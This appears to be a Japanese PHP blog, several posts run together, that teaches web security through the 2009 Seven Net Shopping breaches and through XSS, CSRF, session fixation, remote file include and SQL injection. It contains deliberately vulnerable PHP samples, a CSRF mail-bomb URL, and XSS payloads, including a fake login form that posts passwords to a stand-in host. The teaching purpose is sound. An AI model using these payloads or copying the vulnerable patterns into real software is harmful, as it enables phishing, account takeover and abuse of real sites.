弱小PHPerの憂鬱

<?php
	header("Content-Type: text/html; charset=UTF-8");
	
	if($_REQUEST['id']){
		print('登録ありがとうございます。');
		print('あなたのIDは' . $_REQUEST['id'] . 'です');
		exit();
	}else{
?>
	<form method="POST" action="">
		ID:<input type="text" name="id" value=""><br />
		<input type="submit" name="submit" value="登録">
	</form>
<?php
	}

他山の石他山の石。
対岸の火事？


2009/12/08
セブンネットショッピングオープン
http://www.7netshopping.jp/all/


2009/12/09
一部商品で価格誤表記等の問題。
http://www.itmedia.co.jp/news/articles/0912/09/news054.html


2009/12/10
フリーダイヤルと言っていたカスタマー番号が実はフリーダイヤルではなかったことが発覚。
ということらしいんですが、そもそも連絡先が見あたらないんですが何処に？


2009/12/13
個人情報流出。
http://www.kajisoku.net/1/archives/eid251.html

URLを入力するとパスワード入力をパスして履歴を見ることができる仕組みというのは実のところよくある話です。
ただ、普通はランダムなURLを作成するなりハッシュ関数を通すなりして、第三者からはほぼわからないURLを作成することが一般的。
セブンの場合は注文番号を単に置換しているだけだったので、他者の注文番号を推測できれば簡単に閲覧を行うことができた。


2009/12/14
XSS脆弱性が発覚。
http://www.kajisoku.net/1/archives/eid261.html

簡単に言うと、うまいことリンクを作れば偽のパスワード入力画面などを作成することができ、ログイン情報を盗むことができるという脆弱性である。
偽といっても本物と全く同じ画面にすることができる(ただしURLが緑色になるのは真似できない)ので、URLをよく見てチェックしないと気付くことができません。

XSSが発覚した時点で一旦サイトを閉鎖するのが正しい対応なのだが、セブンは気にせずに付け焼き刃な対応で営業を続ける。


2009/12/15
セブンアンドワイ時代の個人情報がGoogle検索に引っかかっていた。
http://www.kajisoku.net/1/archives/eid272.html


2009/12/17
ディレクトリトラバーサルによりソースコード流出。
http://www.kajisoku.net/1/archives/eid284.html

Subversion配下のファイルが外部から閲覧できるようになっていた。
  # Copyright(C) 2001 by e-Shopping! Books CORP.
  # Copyright(C) 2001 by e-Commerce Technology CORP.

esBooksとはなんとも懐かしい名前だ。
そんなにセキュリティが重要視されていなかった時代の遺物を使い続けていたので今になってこんなことになっているのではなかろうか。


2009/12/18
セブンネットショッピング側がXSS対策を発表。
http://www.itmedia.co.jp/news/articles/0912/18/news100.html
>セブン＆アイグループが12月8日にオープンしたECサイト「セブンネットショッピング」のソースコードが流出したとネットで騒ぎになっている。同サイトの広報担当者によると、流出したのは「検証で使っていたデモ用コードで、本番用のものではない」。個人情報流出の可能性もないとしている。
>同サイトについては14日ごろから、XSS（クロスサイトスクリプティング）脆弱性も指摘されていた。「個人情報を扱うページではXSS脆弱性はなく、個人情報の流出はないが、そうでないページに脆弱性があった」とし、15日までに対策を取ったという。
>また12月14日ごろまで、セブンネットショッピングの前身・セブンアンドワイのユーザーの注文情報3件がGoogleなどで検索すると表示できる状態になっていた。閲覧できたのは「公開ブックマークなどにURLを登録していた3件」の注文情報の一部で、この問題にもすでに対処しているという。

勿論全部嘘。
どう見てもはてブのURLではない。
http://www.kajisoku-f.com/dd/img09/img2015_2.jpg


2009/12/18
XSS対策できていなかった。
http://www.kajisoku.net/1/archives/eid293.html

即日新たなXSS脆弱性を指摘される。
またセッションハイジャックも可能では無かろうか、との指摘もある。


このあたりでひとまず沈静化しましたが、結局抜本的対策は取られなかったので他にどんな穴が眠っていることやら。
たとえばとりあえず誰も指摘していないみたいなんだけど、

お問い合わせフォームが一切のバリデートもエスケープもされていないという酷い代物。
しかもセッション使わず確認画面からhiddenで飛ばしているという今時のフォームでは絶対に有り得ない作り方。
俺がこんなもの作ろうものなら始末書ものだわ。

ちなみにDoda配下にある採用フォームはしっかりと対策がされていました。


また、ソースを見ると、<input type="hidden">が地獄のように並んでいます。
渡す意味が全く無いであろうタイトルやコメントから、リンク先URLすらhiddenで渡している始末。
こんな出鱈目な出力を行っている時点で技術力がないのが丸わかり。

こんなので今日もTVCMを行っているのだから恐れ入る。



http://www.atmarkit.co.jp/fsecurity/column/kawaguchi/013.html
>痛くもない腹を探られる

これが最大の問題点だと思うんですけどね。
今回のように、実際は腹が痛かったということもありますし。

XSS程度の単純な攻撃すら防げていない
↓
他にも脆弱性があるかもしれない
↓
ディレクトリトラバーサル、ソースコード流出など次々に発覚

Remote File Include攻撃とは、外部から任意のPHPスクリプトを実行させることができてしまうという攻撃です。
allow_url_includeディレクティブを利用します。

allow_url_includeは、require_once()等で任意のURLをインクルードできるというディレクティブです。
他所にあるAPIを取得したいといった場合に、簡単にインクルードすることができます。
さて、これがどう脆弱性かというと、require_onceの引数にうっかりユーザ入力値が紛れ込んでしまうと大変なことになるわけです。
引数に'php://input'と入れられると、POSTで送られてきたPHPコードが実行されてしまいます。

穴を完全に塞ぐためにはallow_url_includeをオフにする必要がありますが、PHP_INI_SYSTEMのためini_setでは設定不可能です。
そもそもallow_url_includeのデフォルトは0のため、あえて1にしてあるということは何か理由があるのでしょう。
アプリケーション側で対策を行わなければなりません。

まあ、それ以前にrequire_once()に入力値なんか使うなという話ですが。
register_globalsがオンだったりするとうっかり引っかかってしまう可能性もありますので、require_once()の引数となるパスは__FILE__等信頼できるものを使用するか、あるいはコンフィグファイルなどでdefine()しておくと安全です。
そういやinclude_pathにURL入れたらどうなるんだろう？

さて、こちらの解説記事では、'php://input'ではなくURLをインクルードした際、あたかもrequire_onceを実行した側でPHPコードが実行される的なことが書いてあるのですが、試してみた結果では単に実行結果が取得されただけでした。
要するに、単にfile_get_contentsしてprintしたのと同じような動作をしたということです。
別に呼び出し元で定義した変数を呼び出し先で参照できるということもなく、逆に呼び出し先で定義した変数を呼び出し元で参照することもできませんでした。

まあ勿論想定と全然違うファイルがincludeされることで問題はありますし、呼び出し先でフィッシング的なコードを書くことで詐欺に使えるかもしれませんが、サーバの情報を盗み出せるというのがいまいちわからないんですが。
ターゲットサーバにアップローダ等が存在し、どうにかしてPHPファイルのアップロードに成功した場合、そのファイルをインクルードさせることで情報を入手することが可能になりますが、言ってることは違う感じですし。
それとも、どこか他に設定を行ったら本当に呼び出し元で呼び出し先に書いてあるコードが実行されてしまうのでしょうか？


※2010/12/23追記
取消線部分は間違っているので新記事を参照してください。
 

セッションの仕組みは単純なキーの受け渡しとなっています。
session_startを呼んだ時点で、リクエストにセッションIDが含まれていたらそのIDを使用、セッションIDが無ければ新しく適当なセッションIDを作成します。
セッションIDは基本的にcookieに突っ込まれ、ブラウザへ返されます。
$_SESSIONに突っ込んだ値は、サーバ上のどこかに'sess_セッションID'のような名前のファイルとして保存されます。
再度アクセスがあり、そのときにリクエストにセッションIDがあればファイルに保存されたセッションファイルを読み出す、という仕組みです。

ここで問題となるのが、「リクエストにセッションIDが含まれていたらそのIDを使用」の部分です。
存在しないセッションIDを無理矢理くっつけた上でリクエストを出した場合、PHPはそのセッションをあっさりと受け入れてセッションを継続してしまいます。
これがセッション固定攻撃の原因です。

セッションは基本的にcookieに突っ込まれるのですが、携帯電話等cookieが保てないブラウザに対応するために、URLにセッションIDを含むことも出来ます。
session.use_trans_sidやuse_cookies等のディレクティブで設定できます。
デフォルトでは無効ですが、携帯電話用コンテンツを表示するために有効にしていた場合、

http://example.com/index.php?PHPSESSID=123456789abcdef

というリンクを踏んでしまったら、誰がアクセスしてもセッションIDが123456789abcdefだと判断されます。
123456789abcdefというセッションファイルが見つからなかった場合、PHPは新しくそのセッションIDでセッションを作成してしまいます。
これを利用すると、他者にセッションIDを付加したURLでアクセスさせ、自分でも同じURLでアクセスすると他者のセッションの中身を覗き見ることが可能になります。

session_fix.php 

1
2
3
4
5
6
7
8
9
10
11

<?php
    
    //セッション固定攻撃のシミュ
    ini_set('session.use_trans_sid',1);
    ini_set('session.use_cookies',0);
    ini_set('session.use_only_cookies',0);
    session_start();
    
    if(isset($_REQUEST['param'])){$_SESSION['param']=$_REQUEST['param'];}
    
    var_dump(session_id(),$_SESSION);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

<?php
    
    //PHPSSID有効化
        ini_set('session.use_trans_sid',1);
        ini_set('session.use_cookies',0);
        ini_set('session.use_only_cookies',0);
        
    //古いセッション削除
        session_start();
        $old_session=$_SESSION;
        session_destroy();
        
    //新しいセッション
        session_start();
        session_regenerate_id(); 
        $_SESSION=$old_session;

クロスサイトリクエストフォージェリの続きです。
今回の話は、Mixiに常時ログインできるようになっていないとうまくいきません。

ニコニコ動画の右上あたりに、ブログに貼り付けボタンがあります。
<OPTION value=mixi|http://mixi.jp/favicon.ico|http://mixi.jp/proxy_post_video.pl?pid=NC&amp;vid=sm9&amp;video_title=%E6%96%B0%E3%83%BB%E8%B1%AA%E8%A1%80%E5%AF%BA%E4%B8%80%E6%97%8F%20-%E7%85%A9%E6%82%A9%E8%A7%A3%E6%94%BE%20-%20%E3%83%AC%E3%83%83%E3%83%84%E3%82%B4%E3%83%BC%EF%BC%81%E9%99%B0%E9%99%BD%E5%B8%AB selected>mixi</OPTION>

ちょっと試してみましょう。
ブラウザのURLに、
http://mixi.jp/proxy_post_video.pl?pid=NC&amp;vid=sm9&amp;video_title=%E6%96%B0%E3%83%BB%E8%B1%AA%E8%A1%80%E5%AF%BA%E4%B8%80%E6%97%8F%20-%E7%85%A9%E6%82%A9%E8%A7%A3%E6%94%BE%20-%20%E3%83%AC%E3%83%83%E3%83%84%E3%82%B4%E3%83%BC%EF%BC%81%E9%99%B0%E9%99%BD%E5%B8%AB

見事、新規日記の本文に内容が書き込まれています。
勿論ニコニコ動画はMixiのアカウント情報など知りませんし、URLにもそのようなものはありません。
URLを見るとproxy_post_video.plにパラメータを渡せばいいようです。
通常日記を書くのはadd_diary.plですから、外部からパラメータを送信すれば新たな日記を作成するようなプログラムを作成したようです。

かつてMixiには、外部から簡単に日記を作成できるというCSRF脆弱性そのものが存在していました。
http://www.atmarkit.co.jp/fsecurity/column/ueno/33.html
現在は対処されているということになっています。
どのように対策されているのでしょう。
通常日記を書くときの流れを順番に見てみましょう。

まず最初の日記を書くリンク。
<a href="http://mixi.jp/add_diary.pl?id=9999999">日記を書く</a>
普通にリンクが張ってあるだけです。
試しにIDを書き換えてみるとアクセスできません。
内部的にセッションで監視しているようです。

次に日記作成画面。

ただ単に送られてきたフォームを表示するという内容です。
フォームがGETなので、
http://yuubiseiharukana.creativeroot.jp/php2/php2-3-1.php?data=あいうえお
と入力すればいきなり結果画面を表示できます。

さて、上のURLへのリンク、これがクロスサイトリクエストフォージェリそのものです。

これは単に表示するだけのプログラムだから特に問題が無かっただけであって、フォームの内容によっては大変なことになります。

http://yuubiseiharukana.creativeroot.jp/php2/php2-3-2.php

時々見かける、送信先を選択できるタイプのメールフォームです。
何も考えずにこれを実装していた場合、
http://yuubiseiharukana.creativeroot.jp/php2/php2-3-2.php?from=匿名&data=メールボム&to=aaa@yyy.jp,bbb@zzz.jp,ccc@vvv.jp
というリンクを踏ませるだけでメールを送信できてしまいます。

メソッドがGETのせいだから問題なのだ、POSTならURLを作れないから問題ない、かと思えばそういうこともありません。

http://yuubiseiharukana.creativeroot.jp/php2/php2-3-3.html

こんなフォームを作って適当な場所にアップロードしてしまえば、このリンクを踏んだ時点でメールが送信されてしまいます。
むしろ見た目普通のhtmlなのでより悪質になったというべきでしょう。
あまつさえこのフォームをwhile(1)で繰り返したりしてしまえば、本物のメールボムの完成です。

対処法はいくつかありますが、最初にすべきなのはリクエスト元URLの限定です。
最初のphp1.php以外からのリクエストは受け付けないようにしてしまえば、少なくともリンクを踏ませるだけの攻撃に簡単に引っかかることはありません。
また、selectやcheckboxなどのフォームでは、本来ありえないはずの入力もチェックする必要があります。
もっと言うと、フォームで直接メールアドレスを扱うべきではありません。
フォーム側からは適当なパラメータを渡し、プログラム側で正しいメールアドレスに変換を行うなどの処理を行いましょう。

さて今回のはまだまだ本物のCSRFとは言いがたいので、次回は認証サイト内にも潜り込める、CSRFの本格的利用例でも。

さて今回はSQLインジェクションの話。
名前のとおりデータベースに関する脆弱性です。
まずは例によって悪例から。
フォーム部分やSQL実行部分は書いていませんので適当なものがあると思ってください。

sqli.php

こんなに簡単にわかる危険性でありながら、
対策を怠り被害に遭うサーバが後を絶ちません。
有名どころでは価格.com等も個人情報を盗まれています。

PHPでの対策としては、自力でエスケープもできますが、
対策を行ってくれるライブラリを使用するのが最も安全でしょう。
使用法はまたそのうち。

次回はセッション乗っ取りでも・・・と言いたいところですがちょっと理解しきれてないので微妙。

まずform,inputタグで任意のテキストを入力します。
そのテキストの送り先はaction="./xss.php"、つまりこのプログラム自身です。
次にPHPのprint関数で文字を表示します。
説明は別のところでしますが、$_GET[]という変数は、
フォームの入力データのことを示します。

つまり、フォームに入力されたデータをただ単に表示する、それだけのプログラムです。

さてこのプログラム、セキュリティ的に重大な欠点があります。欠陥品です。

入力フォームに具体的データを入れてみましょう。

　　「Hello,world」
　　　↓
　　フォームの下に「Hello,world」と表示されるだけです。

　　「<b>Hello,world</b>」
　　　↓
　　Hello,worldが太字で表示されます。つまり<b>タグがブラウザで解釈されてしまっています。

これを利用すると、いろんな危険行為が可能となってしまいます。

　　「<script>alert("Hello,world");</script>」
　　　↓
　　JavsScriptが実行され、ダイアログボックスが表示されます。

　　「入力が認識できませんでした。パスワードを再度入力して下さい。<form method="POST" action="http://www.hogehoge.com/index.cgi"><input type="text" name="入力"><input type="submit"></form>」
　　　↓
　　うっかりパスワードを入力してしまった場合、パスワードが別のサーバに送信されてしまいます。
　　実際はGETの文字数制限の為動きませんが、だからといって危険を残しておいてはいけません。


またこのプログラム、データをGETで送っているので別の問題があります。
GETというのはamazonとかでよく見るURLの後に?○○=××というやつで、
あれでサーバに対して情報を送ることが出来ます。
というわけでxss.phpにアクセスするとき、
　xss.php?入力=Hello,world
とアドレス欄に入力するとHello,worldが表示されます。

というわけで悪意を持った人が
　xss.php?入力=<script>while(1){document.write("Hello,world");}</script>
というアドレスに対してリンクを張ると、
そのリンクを踏んだ人のブラウザが死にます。

以上の話はクロスサイトスクリプティングという有名な脆弱性で、
これの対策が行われていないと話にならない、というレベルです。

まあ回避方法も色々あって、たとえば上記のxss.phpでは
print(htmlspecialchars($_GET['入力']))
と書くだけでほぼ無問題になります。

それどころかライブラリを使用すれば、
一切対策を気にしなくていいなんてものすらあるのですが、
とりあえずプログラムを書く上ではこのような脆弱性の話は
一般常識として知っておかねばなりません。

次回はSQLインジェクションの話でも。